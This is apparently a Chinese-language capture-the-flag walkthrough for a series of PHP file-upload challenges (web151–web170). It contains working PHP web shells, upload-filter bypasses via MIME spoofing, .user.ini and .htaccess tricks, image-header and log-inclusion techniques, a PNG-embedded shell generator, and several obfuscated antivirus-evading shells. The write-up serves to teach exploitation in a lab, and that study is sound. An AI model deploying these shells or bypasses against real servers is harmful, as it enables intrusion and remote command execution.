web151
1.编写一句话木马上传
发现前端有验证
<?php @eval($_POST[1]);?>
直接点开F12
2.修改前端验证
即可上传成功
3.在蚁剑上找flag
//常用命令:
1=system("ls /"); //查找根目录
1=system("ls ./"); //查找当前目录
1=system("ls ../"); //查找上一级目录
1=system("tac ../flag.php"); //打印上一级目录的falg.php
1=system("cp fla?.php 1.txt");//将所有fla?.php文件复制到1.txt
1=system("cp f*.php 1.txt");//将所有f*.php文件复制到1.txt,*代表多个字母
web152
1.修改前端验证
后端也有验证,验证的是MIME类型content-type
- MIME(Multipurpose Internal MailExtensions)多用途互联网邮件扩展类型。
是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动指定应用程序来打开。多用于来指定一些客户端自定义的文件名,以及一些媒体文件打开方式。 - 每个MIME类型由两部分组成,前面是数据的大类型,例如声音audio,图像image等,后面定义具体的种类
常见的MIME类型: 超文本标记语言文本:.html——>text/html xml文档:.xml——>text/xml XHTML文档:.xhtml——>application/xhtml+xml 普通文本:.txt——>text/plain RTF文本:.rtf——>application/rtf png图片:.png——>image/png
2.burp抓包后修改MIME
所以可以通过用burp抓包后修改MIME后端检验类型,来上传php文件
上传一个php文件,同时用burp抓包,将burp中的Content-Type: application/octet-stream修改为Content-Type: image/png,即让服务器认为这个文件是一个图片文件去解析执行
3.在蚁剑上找flag
web153
1.修改前端验证
先修改前端验证,发现抓包修改后端验证也没用,然后找到upload目录下有一个index.php文件,说明可能可以ini配置文件上传漏洞
- 当前目录里面有php文件的时候,可以运用ini配置文件进行配置这个php文件
- 和文件包含有关的配置项有auto_append_file和auto_pretend_file
2.上传ini配置文件
auto_append_file=1.txt //保存为user.ini,记得抓包时文件名是.user.ini
记得抓包时文件名是.user.ini
记得抓包时文件名是.user.ini
记得抓包时文件名是.user.ini
记得抓包时文件名是.user.ini
记得抓包时文件名是.user.ini
记得抓包时文件名是.user.ini
记得抓包时文件名是.user.ini
1.先上传这个user.ini文件,发现上传成功。
2.然后本来不能上传规定外的文件,现在就可以上传了,上传的是指定的1.txt文件
3.这个1.txt里面就是一句话木马
3.上传1.txt文件
这个1.txt木马就被自动包含进原来目录里的php文件了(一般是index.php)
4.访问upload目录可进行命令执行
web154-web158
1.修改前端验证
2.上传ini配置文件
记得抓包时文件名是.user.ini 记得抓包时文件名是.user.ini 记得抓包时文件名是.user.ini
3.上传1.txt文件
发现上传失败,应该是对txt文件里的内容有过滤 经检测,查验之后发现是对php这三个字母过滤了,还过滤了[] 构造:<?=eval($_POST{1})?>
4.在蚁剑上找flag
web159
1.修改前端验证
2.上传ini配置文件
3.上传1.txt文件
对()有过滤,那就不能用一句话木马了 构造反引号,可以直接进行代码执行的,反正可以上传无数次2.txt,一句话木马只是任意执行的手段 主要还是ini配置文件的考点
第一次<?=`ls ../`?>
第二次<?=`tac ../f*`?>
web160
1.修改前端验证
2.上传ini配置文件
3.上传1.txt文件
php伪协议
过滤了反引号,这里使用include命令去配合php伪协议进行读取
<?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>
访问upload目录,解码得flag
日志包含绕过
利用日志包含绕过,1.txt内容:
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
因为log被过滤了。所以用拼接绕过 然后修改UA头信息: 接着访问/upload打开源代码即可拿到flag
空格绕过
突破空格过滤可以用换行符%0a
web161
1.修改前端验证
2.上传ini配置文件
3.上传1.txt文件
增加了对图片头的识别,用了getimagesize()进行检测
getimagesize(): 会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求
ini问价和一句话木马前都要加一句GIF89a,或者改成png文件头89 50 4E 47
GIF89a
<?=eval($_POST{1})?>
web162-web163
1.修改前端验证
2.上传ini配置文件
3.session包含条件竞争
没理解
web164
上传一个文件,打开之后发现有一个图片文件包含点
利用脚本构造出一个png图片,
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'2.png');
?>
木马内容为:<?$_GET[0]($_POST[1]);?>
即get传入命令,post传入参数
&0=system
POST: 1=tac flag.php
web165
jpg图片渲染
web166
查看源码,发现只能上传zip
那就抓包,然后把zip压缩包的内容改成一句话木马上传,成功
web167
利用htaccess文件
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
首先上传一个jpg文件抓包
AddType application/x-httpd-php .jpg
然后文件名改成.htaccess,然后上传
接着再上传jpg格式文件,内容是一句话木马
然后访问文件,执行命令即可得到flag
web168
其他姿势的免杀马:
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
<?php
$poc="s#y#s#t#e#m";
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_REQUEST['1']);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>
1.修改前端验证
2.burp抓包后修改MIME
3.命令执行找flag
或者:
<?php $bFIY=create_function(chr(25380/705).chr(92115/801).base64_decode('bw==').base64_decode('bQ==').base64_decode('ZQ=='),chr(0x16964/0x394).chr(0x6f16/0xf1).base64_decode('YQ==').base64_decode('bA==').chr(060340/01154).chr(01041-0775).base64_decode('cw==').str_rot13('b').chr(01504-01327).base64_decode('ZQ==').chr(057176/01116).chr(0xe3b4/0x3dc));$bFIY(base64_decode('NjgxO'.'Tc7QG'.'V2QWw'.'oJF9Q'.''.str_rot13('G').str_rot13('1').str_rot13('A').base64_decode('VQ==').str_rot13('J').''.''.chr(0x304-0x2d3).base64_decode('Ug==').chr(13197/249).str_rot13('F').base64_decode('MQ==').''.'B1bnR'.'VXSk7'.'MjA0N'.'TkxOw'.'=='.''));?>
蚁剑连接,密码TyKPuntU
web169-170
1.修改前端验证
2.上传ini配置文件
3.日志包含
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
上传.user.ini,修改UA头为一句话木马
然后上传b.php
|